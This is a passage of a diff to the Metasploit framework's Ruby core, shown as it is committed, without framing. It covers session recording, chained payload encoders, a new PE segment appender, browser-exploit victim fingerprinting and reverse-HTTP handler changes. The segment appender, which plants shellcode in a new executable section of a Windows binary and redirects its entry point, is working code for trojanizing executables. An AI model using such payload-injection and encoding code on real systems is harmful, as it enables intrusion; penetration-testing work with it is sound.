:stype => opts[:stype],
|
||||
:desc => opts[:desc],
|
||||
:platform => opts[:platform],
|
||||
:via_payload => opts[:via_payload],
|
||||
:via_exploit => opts[:via_exploit],
|
||||
:routes => opts[:routes] || [],
|
||||
:datastore => opts[:datastore],
|
||||
:opened_at => opts[:opened_at],
|
||||
:closed_at => opts[:closed_at],
|
||||
:last_seen => opts[:last_seen] || opts[:closed_at],
|
||||
:close_reason => opts[:close_reason],
|
||||
}
|
||||
s = create_mdm_session_from_host(opts)
|
||||
else
|
||||
raise ArgumentError.new("Missing option :session or :host")
|
||||
end
|
||||
ret = {}
|
||||
|
||||
# Truncate the session data if necessary
|
||||
if sess_data[:desc]
|
||||
sess_data[:desc] = sess_data[:desc][0,255]
|
||||
end
|
||||
wspace = s.workspace
|
||||
|
||||
# In the case of multi handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
end
|
||||
|
||||
s = ::Mdm::Session.new(sess_data)
|
||||
s.save!
|
||||
|
||||
if session and session.exploit_task and session.exploit_task.record
|
||||
session_task = session.exploit_task.record
|
||||
if session_task.class == Mdm::Task
|
||||
Mdm::TaskSession.create(:task => session_task, :session => s )
|
||||
if session
|
||||
if session.exploit.user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
match_set: session.exploit.user_data[:match_set],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: 'succeeded',
|
||||
)
|
||||
elsif session.via_exploit
|
||||
# This is a live session, we know the host is vulnerable to something.
|
||||
infer_vuln_from_session(session, wspace)
|
||||
end
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
if opts[:session]
|
||||
session.db_record = s
|
||||
end
|
||||
protected
|
||||
|
||||
# If this is a live session, we know the host is vulnerable to something.
|
||||
if opts[:session] and session.via_exploit
|
||||
mod = framework.modules.create(session.via_exploit)
|
||||
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
|
||||
# @param wspace [Mdm::Workspace]
|
||||
# @return [void]
|
||||
def infer_vuln_from_session(session, wspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
s = session.db_record
|
||||
host = s.host
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
|
||||
if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
|
||||
mod_fullname = session.exploit_datastore['ParentModule']
|
||||
else
|
||||
mod_name = mod.name
|
||||
mod_fullname = mod.fullname
|
||||
mod_fullname = session.via_exploit
|
||||
end
|
||||
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
|
||||
mod_name = mod_detail.name
|
||||
|
||||
vuln_info = {
|
||||
:host => host.address.to_s,
|
||||
:name => mod_name,
|
||||
:refs => mod.references,
|
||||
:workspace => wspace,
|
||||
:exploited_at => Time.now.utc,
|
||||
:info => "Exploited by #{mod_fullname} to create Session #{s.id}"
|
||||
exploited_at: Time.now.utc,
|
||||
host: host,
|
||||
info: "Exploited by #{mod_fullname} to create Session #{s.id}",
|
||||
name: mod_name,
|
||||
refs: mod_detail.refs.map(&:name),
|
||||
workspace: wspace,
|
||||
}
|
||||
|
||||
port = session.exploit_datastore["RPORT"]
|
||||
|
@ -178,28 +143,105 @@ module Msf::DBManager::Session
|
|||
|
||||
vuln = framework.db.report_vuln(vuln_info)
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
via_exploit = sess_data[:datastore]['ParentModule']
|
||||
else
|
||||
via_exploit = session.via_exploit
|
||||
end
|
||||
attempt_info = {
|
||||
:timestamp => Time.now.utc,
|
||||
:workspace => wspace,
|
||||
:module => via_exploit,
|
||||
:username => session.username,
|
||||
:refs => mod.references,
|
||||
:session_id => s.id,
|
||||
:host => host,
|
||||
:service => service,
|
||||
:vuln => vuln
|
||||
host: host,
|
||||
module: mod_fullname,
|
||||
refs: mod_detail.refs,
|
||||
service: service,
|
||||
session_id: s.id,
|
||||
timestamp: Time.now.utc,
|
||||
username: session.username,
|
||||
vuln: vuln,
|
||||
workspace: wspace,
|
||||
}
|
||||
|
||||
framework.db.report_exploit_success(attempt_info)
|
||||
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
vuln
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def create_mdm_session_from_session(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
session = opts[:session]
|
||||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
|
||||
|
||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||
h_opts = { }
|
||||
h_opts[:host] = normalize_host(session)
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||
h_opts[:workspace] = wspace
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
datastore: session.exploit_datastore.to_h,
|
||||
desc: truncate_session_desc(session.info),
|
||||
host_id: host.id,
|
||||
last_seen: Time.now.utc,
|
||||
local_id: session.sid,
|
||||
opened_at: Time.now.utc,
|
||||
platform: session.platform,
|
||||
port: session.session_port,
|
||||
routes: [],
|
||||
stype: session.type,
|
||||
via_exploit: session.via_exploit,
|
||||
via_payload: session.via_payload,
|
||||
}
|
||||
|
||||
# In the case of multi handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||
end
|
||||
|
||||
s = ::Mdm::Session.create!(sess_data)
|
||||
|
||||
if session.exploit_task and session.exploit_task.record
|
||||
session_task = session.exploit_task.record
|
||||
if session_task.class == Mdm::Task
|
||||
Mdm::TaskSession.create(task: session_task, session: s )
|
||||
end
|
||||
end
|
||||
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
def create_mdm_session_from_host(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
host = opts[:host]
|
||||
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
|
||||
sess_data = {
|
||||
host_id: host.id,
|
||||
stype: opts[:stype],
|
||||
desc: truncate_session_desc(opts[:desc]),
|
||||
platform: opts[:platform],
|
||||
via_payload: opts[:via_payload],
|
||||
via_exploit: opts[:via_exploit],
|
||||
routes: opts[:routes] || [],
|
||||
datastore: opts[:datastore],
|
||||
opened_at: opts[:opened_at],
|
||||
closed_at: opts[:closed_at],
|
||||
last_seen: opts[:last_seen] || opts[:closed_at],
|
||||
close_reason: opts[:close_reason],
|
||||
}
|
||||
|
||||
|
||||
s = ::Mdm::Session.create!(sess_data)
|
||||
s
|
||||
}
|
||||
end
|
||||
|
||||
# Truncate the session data if necessary
|
||||
#
|
||||
# @param desc [String]
|
||||
# @return [String] +desc+ truncated to the max length of the desc column
|
||||
def truncate_session_desc(desc)
|
||||
# Truncate the session data if necessary
|
||||
if desc
|
||||
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
|
||||
end
|
||||
desc
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -49,8 +49,6 @@ class EncodedPayload
|
|||
self.nop_sled = nil
|
||||
self.encoder = nil
|
||||
self.nop = nil
|
||||
self.iterations = reqs['Iterations'].to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
|
||||
# Increase thread priority as necessary. This is done
|
||||
# to ensure that the encoding and sled generation get
|
||||
|
@ -71,8 +69,27 @@ class EncodedPayload
|
|||
# Generate the raw version of the payload first
|
||||
generate_raw() if self.raw.nil?
|
||||
|
||||
# Encode the payload
|
||||
encode()
|
||||
# If encoder is set, it could be an encoders list
|
||||
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
|
||||
if reqs['Encoder']
|
||||
encoder_str = reqs['Encoder']
|
||||
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||
reqs['Encoder'] = encoder_opt[0]
|
||||
|
||||
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
|
||||
# Encode the payload with every encoders in the list
|
||||
encode()
|
||||
# Encoded payload is now the raw payload to be encoded by the next encoder
|
||||
self.raw = self.encoded
|
||||
end
|
||||
else
|
||||
self.iterations = reqs['Iterations'].to_i
|
||||
self.iterations = 1 if self.iterations < 1
|
||||
# No specified encoder, let BadChars or ForceEncode do their job
|
||||
encode()
|
||||
end
|
||||
|
||||
# Build the NOP sled
|
||||
generate_sled()
|
||||
|
@ -110,7 +127,7 @@ class EncodedPayload
|
|||
def encode
|
||||
# If the exploit has bad characters, we need to run the list of encoders
|
||||
# in ranked precedence and try to encode without them.
|
||||
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
|
||||
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
|
||||
encoders = pinst.compatible_encoders
|
||||
|
||||
# Make sure the encoder name from the user has the same String#encoding
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
class SegmentAppender < SegmentInjector
|
||||
|
||||
def payload_stub(prefix)
|
||||
# TODO: Implement possibly helpful payload obfuscation
|
||||
asm = "new_entrypoint:\n#{prefix}\n"
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||
|
||||
# TODO: Look at supporting DLLs in the future
|
||||
prefix = ''
|
||||
|
||||
# Create a new section
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||
s.encoded = payload_stub prefix
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'new_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -59,20 +59,11 @@ module Exe
|
|||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub(prefix)
|
||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||
asm << create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
|
|
|
@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
|
|||
when /opera\/(\d+(:?\.\d+)*)/
|
||||
fp[:ua_name] = HttpClients::OPERA
|
||||
fp[:ua_ver] = $1
|
||||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
|
||||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
|
||||
fp[:ua_name] = HttpClients::IE
|
||||
fp[:ua_ver] = $1
|
||||
else
|
||||
|
|
|
@ -49,24 +49,30 @@ module Msf
|
|||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = Set.new([
|
||||
:source, # Either 'script' or 'headers'
|
||||
:ua_name, # Example: MSIE
|
||||
:ua_ver, # Example: 8.0, 9.0
|
||||
:os_name, # Example: Windows 7, Linux
|
||||
:os_device, # Example: iPad, iPhone, etc
|
||||
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
|
||||
:os_sp, # Example: SP2
|
||||
:language, # Example: en-us
|
||||
:arch, # Example: x86
|
||||
:proxy, # 'true' or 'false'
|
||||
:silverlight, # 'true' or 'false'
|
||||
:office, # Example: "2007", "2010"
|
||||
:java, # Example: 1.6, 1.6.0.0
|
||||
:clsid, # ActiveX clsid. Also requires the :method key
|
||||
:method, # ActiveX method. Also requires the :clsid key
|
||||
:mshtml_build, # mshtml build. Example: "65535"
|
||||
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
|
||||
:source, # Return either 'script' or 'headers'
|
||||
:ua_name, # Example: Returns 'MSIE'
|
||||
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||
:os_sp, # Example: Returns 'SP2'
|
||||
:language, # Example: Returns 'en-us'
|
||||
:arch, # Example: Returns 'x86'
|
||||
:proxy, # Returns 'true' or 'false'
|
||||
:silverlight, # Returns 'true' or 'false'
|
||||
:office, # Example: Returns "2007", "2010"
|
||||
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
# :activex is a special case.
|
||||
# When you set this requirement in your module, this is how it should be:
|
||||
# [{:clsid=>'String', :method=>'String'}]
|
||||
# Where each Hash is a test case
|
||||
# But when BES receives this information, the JavaScript will return this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# Also see: #has_bad_activex?
|
||||
:activex
|
||||
])
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -105,68 +111,61 @@ module Msf
|
|||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_custom_404_url
|
||||
datastore['Custom404'].to_s
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
#
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
#
|
||||
def get_module_resource
|
||||
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
||||
#
|
||||
# @return [String] absolute URI to the exploit page
|
||||
#
|
||||
def get_module_uri
|
||||
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the current target
|
||||
#
|
||||
def get_target
|
||||
@target
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns a hash of recognizable requirements
|
||||
#
|
||||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
#
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Sets the target automatically based on what requirements are met.
|
||||
# If there's a possible matching target, it will also merge the requirements.
|
||||
# You can use the get_target() method to retrieve the most current target.
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
#
|
||||
def try_set_target(profile)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
@ -195,30 +194,36 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns true if there's a bad ActiveX, otherwise false.
|
||||
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||
def has_bad_activex?(ax)
|
||||
ax.split(';').each do |a|
|
||||
bool = a.split('=>')[2]
|
||||
if bool == 'false'
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Returns an array of items that do not meet the requirements
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
# @return [Array] An array of requirements not met
|
||||
#
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
# At this point the check is already done.
|
||||
# If :activex is true, that means the clsid + method had a match,
|
||||
# if not, then false.
|
||||
if @requirements[:clsid] and @requirements[:method]
|
||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||
end
|
||||
|
||||
@requirements.each do |k, v|
|
||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
expected = k != :vuln_test ? v : 'true'
|
||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
|
||||
if k == :vuln_test
|
||||
if k == :activex
|
||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||
elsif k == :vuln_test
|
||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||
elsif v.is_a? Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
|
@ -232,7 +237,6 @@ module Msf
|
|||
bad_reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie_name' =>
|
||||
# {
|
||||
|
@ -253,7 +257,7 @@ module Msf
|
|||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'mshtml_build' : The MSHTML build version
|
||||
# 'flash' : The Flash version
|
||||
|
@ -261,45 +265,41 @@ module Msf
|
|||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
#
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
#
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Initializes a profile, if it did not previously exist
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
#
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] ||= {}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Retrieves a tag.
|
||||
# First it obtains the tag from the browser's "Cookie" header.
|
||||
# If the header is empty (possible if the browser has cookies disabled),
|
||||
# then it will return a tag based on IP + the user-agent.
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def retrieve_tag(cli, request)
|
||||
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
||||
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
||||
|
@ -317,13 +317,12 @@ module Msf
|
|||
tag
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Registers target information to @target_profiles
|
||||
#
|
||||
# @param source [Symbol] Either :script, or :headers
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(cli, request)
|
||||
init_profile(tag)
|
||||
|
@ -361,23 +360,21 @@ module Msf
|
|||
})
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Checks if the target is running a proxy
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Boolean] True if found, otherwise false
|
||||
#
|
||||
def has_proxy?(request)
|
||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||
!proxy_header_set.empty?
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the code for client-side detection
|
||||
#
|
||||
# @param user_agent [String] The user-agent of the browser
|
||||
# @return [String] Returns the HTML for detection
|
||||
#
|
||||
def get_detection_html(user_agent)
|
||||
ua_info = fingerprint_user_agent(user_agent)
|
||||
os = ua_info[:os_name]
|
||||
|
@ -418,11 +415,20 @@ module Msf
|
|||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
activex = @requirements[:activex]
|
||||
if activex
|
||||
activex.each do \|a\|
|
||||
clsid = a[:clsid]
|
||||
method = a[:method]
|
||||
%>
|
||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
d['activex'] = "";
|
||||
if (ax == true) {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||||
} else {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||||
}
|
||||
<% end %>
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
|
@ -438,7 +444,7 @@ module Msf
|
|||
|
||||
%Q|
|
||||
<script>
|
||||
#{js}
|
||||
#{code}
|
||||
</script>
|
||||
<noscript>
|
||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||
|
@ -462,12 +468,11 @@ module Msf
|
|||
cookie
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Handles exploit stages.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when '/', get_resource.chomp("/")
|
||||
|
@ -548,18 +553,17 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Overriding method. The module should override this.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
#
|
||||
def on_request_exploit(cli, request, browser_info)
|
||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
|
@ -567,7 +571,6 @@ module Msf
|
|||
# then this is handled as an Array, with the first element
|
||||
# being the HTML, and the second element is the binding object.
|
||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||
#
|
||||
def send_exploit_html(cli, template, headers={})
|
||||
html = ''
|
||||
if template.class == Array
|
||||
|
@ -578,13 +581,12 @@ module Msf
|
|||
send_response(cli, html, headers)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Generates a target-specific payload, should be called by the module
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
# @return [String] The payload
|
||||
#
|
||||
def get_payload(cli, browser_info)
|
||||
arch = browser_info[:arch]
|
||||
platform = browser_info[:os_name]
|
||||
|
@ -618,9 +620,8 @@ module Msf
|
|||
|
||||
private
|
||||
|
||||
#
|
||||
|
||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
||||
#
|
||||
def send_not_found(cli)
|
||||
custom_404_url = get_custom_404_url
|
||||
if custom_404_url.blank?
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'rex/proto/smb'
|
|||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
require 'recog'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
|
@ -45,7 +46,7 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
|
|
|
@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
# Retrieve the SERVICE_NAME option, generate a random
|
||||
# one if not already set.
|
||||
#
|
||||
# @return service_name [String] the name of the service.
|
||||
# @return [String] service_name the name of the service.
|
||||
def service_name
|
||||
@service_name ||= datastore['SERVICE_NAME']
|
||||
@service_name ||= Rex::Text.rand_text_alpha(8)
|
||||
|
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
|
||||
# one if not already set.
|
||||
#
|
||||
# @return service_display_name [String] the display name of the service.
|
||||
# @return [String] the display name of the service.
|
||||
def display_name
|
||||
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
|
||||
@display_name ||= Rex::Text.rand_text_alpha(16)
|
||||
|
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
|
||||
# Retrieve the SERVICE_DESCRIPTION option
|
||||
#
|
||||
# @return service_description [String] the service description.
|
||||
# @return [String] the service description.
|
||||
def service_description
|
||||
@service_description ||= datastore['SERVICE_DESCRIPTION']
|
||||
end
|
||||
|
|
|
@ -77,6 +77,9 @@ module Handler
|
|||
# Initialize the pending_connections counter to 0
|
||||
self.pending_connections = 0
|
||||
|
||||
# Initialize the sessions counter to 0
|
||||
self.sessions = 0
|
||||
|
||||
# Create the waiter event with auto_reset set to false so that
|
||||
# if a session is ever created, waiting on it returns immediately.
|
||||
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
||||
|
@ -234,10 +237,14 @@ protected
|
|||
# Decrement the pending connections counter now that we've processed
|
||||
# one session.
|
||||
self.pending_connections -= 1
|
||||
|
||||
# Count the number of sessions we have registered
|
||||
self.sessions += 1
|
||||
end
|
||||
|
||||
attr_accessor :session_waiter_event # :nodoc:
|
||||
attr_accessor :pending_connections # :nodoc:
|
||||
attr_accessor :sessions # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -1,8 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
@ -15,7 +17,8 @@ module Handler
|
|||
module ReverseHttp
|
||||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::ReverseHttp::UriChecksum
|
||||
include Rex::Payloads::Meterpreter::UriChecksum
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
|
@ -160,7 +163,7 @@ module ReverseHttp
|
|||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
||||
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -217,6 +220,8 @@ protected
|
|||
|
||||
uri_match = process_uri_resource(req.relative_resource)
|
||||
|
||||
self.pending_connections += 1
|
||||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
|
@ -252,7 +257,6 @@ protected
|
|||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
self.pending_connections += 1
|
||||
|
||||
when /^\/INITJM/
|
||||
